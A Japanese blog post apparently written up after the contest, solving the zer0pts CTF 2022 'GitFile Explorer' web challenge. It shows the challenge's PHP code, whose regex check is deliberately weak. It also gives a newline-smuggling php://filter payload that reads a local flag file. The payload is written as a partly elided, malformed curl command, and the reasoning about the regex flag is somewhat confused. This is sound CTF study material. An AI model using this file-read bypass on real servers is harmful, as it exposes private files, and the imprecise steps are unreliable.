0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ctf upsolve by kodai Advent Calendar 2025(Day8)

Posted at

ctf upsolve by kodai Advent Calendar 2025(Day8)
いつもAlpaca Hackの問題を取り上げていて、解釈に凄く時間がかかるので今回は扱う問題を変えてみました。
若干遅れてしまいました...

取り扱った問題

zer0pts CTF 2022 GitFile Explorer
Author: ptr-yudai


upsolve

サイトにアクセスすると以下のようなページが出てきます。
Service, Github ID, Repository Nameなどを指定してDownloadのボタンを押すと、指定したページの内容が反映されます。
image.png
index.phpのファイルが与えられました。

<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) {
    if (strpos($service, "github") !== false) {
        /* GitHub URL */
        return $service."/".$owner."/".$repo."/".$branch."/".$file;

    } else if (strpos($service, "gitlab") !== false) {
        /* GitLab URL */
        return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;

    } else if (strpos($service, "bitbucket") !== false) {
        /* BitBucket URL */
        return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;

    }

    return null;
}

$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner   = empty($_GET['owner'])   ? "ptr-yudai" : $_GET['owner'];
$repo    = empty($_GET['repo'])    ? "ptrlib"    : $_GET['repo'];
$branch  = empty($_GET['branch'])  ? "master"    : $_GET['branch'];
$file    = empty($_GET['file'])    ? "README.md" : $_GET['file'];

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        $result = file_get_contents($url);
    }
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>GitFile Explorer</title>
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css">
    </head>
    <body>
        <header>
            <h1>GitFile Explorer API Test</h1>
            <p>Simple API to download files on GitHub/GitLab/BitBucket</p>
        </header>
        <main>
            <form method="GET" action="/">
                <label for="service">Service: </label>
                <select id="service" name="service" autocomplete="off">
                    <option value="https://raw.githubusercontent.com" <?= strpos($service, "github") === false ? "" : 'selected="selected"' ?>>GitHub</option>
                    <option value="https://gitlab.com" <?= strpos($service, "gitlab") === false ? "" : 'selected="selected"' ?>>GitLab</option>
                    <option value="https://bitbucket.org" <?= strpos($service, "bitbucket") === false ? "" : 'selected="selected"' ?>>BitBucket</option>
                </select>
                <br>
                <label for="owner">GitHub ID: </label>
                <input id="owner" name="owner" type="text" placeholder="Repository Owner" value="<?= h($owner); ?>">
                <br>
                <label for="repo">Repository Name: </label>
                <input id="repo" name="repo" type="text" placeholder="Repository Name" value="<?= h($repo); ?>">
                <br>
                <label for="branch">Branch: </label>
                <input id="branch" name="branch" type="text" placeholder="Branch Name" value="<?= h($branch); ?>">
                <br>
                <label for="file">File Path: </label>
                <input id="file" name="file" type="text" placeholder="README.md" value="<?= h($file); ?>">
                <br>
                <input type="submit" value="Download">
            </form>
            <?php if (isset($result)) { ?>
                <br>
                <?php if ($result === false) { ?>
                    <p>Not Found :(</p>
                <?php } else {?>
                    <textarea rows="20" cols="40"><?= h($result); ?></textarea>
                <?php } ?>
            <?php } ?>
        </main>
        <footer>
            <p>zer0pts CTF 2022</p>
        </footer>
    </body>
</html>

この中で怪しそうな部分は、以下の部分です。

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        $result = file_get_contents($url);
    }
}

pregmatch関数はpatternで指定した正規表現からsubjectを検索する関数です。
patternで指定されている部分の最後にmが入っているのが気になります。
mに入るのはなんでも良さそうなので、../を使ってfile.txtにアクセスしてみます。

curl "php://filter/convert.base64-encode/resource=/%0ahttp://github&...file=flag.txt"

すると、emVyMHB0c3tmb28vYmFyLy4uLy4uLy4uLy4uLy4uL2RpcmVjdG9yeS90cmF2ZXJzYWx9Cg==が返ってきます。これをデコードするとflagがゲットできます。
FLAG : zer0pts{foo/bar/../../../../../directory/traversal}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?